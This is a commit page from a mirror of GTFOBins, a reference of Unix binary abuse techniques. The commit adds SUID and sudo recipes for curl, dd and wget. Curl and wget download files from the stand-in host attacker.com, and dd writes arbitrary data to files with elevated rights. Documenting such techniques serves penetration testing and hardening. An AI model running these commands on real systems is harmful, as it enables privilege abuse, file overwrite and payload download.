1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Add suid-enabled and sudo-enabled to curl, dd, and wget

This commit is contained in:
Emilio Pinna 2018-07-22 14:30:03 +01:00
parent 00a06edb07
commit b016b7b9dd
3 changed files with 32 additions and 0 deletions

@ -17,4 +17,16 @@ functions:
code: |
LFILE=/tmp/file_to_read
curl file://$LFILE
suid-enabled:
- description: Fetch a remote file via HTTP GET request.
code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
./curl $URL -o $LFILE
sudo-enabled:
- description: Fetch a remote file via HTTP GET request.
code: |
URL=http://attacker.com/file_to_get
LFILE=file_to_save
sudo -E curl $URL -o $LFILE
---

@ -8,4 +8,12 @@ functions:
- code: |
LFILE=file_to_read
dd if=LFILE
suid-enabled:
- code: |
LFILE=file_to_write
echo "data" | ./dd of=$LFILE
sudo-enabled:
- code: |
LFILE=file_to_write
echo "data" | sudo -E dd of=$LFILE
---

@ -12,4 +12,16 @@ functions:
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
wget $URL -O $LFILE
suid-enabled:
- description: Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
./wget $URL -O $LFILE
sudo-enabled:
- description: Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
sudo -E wget $URL -O $LFILE
---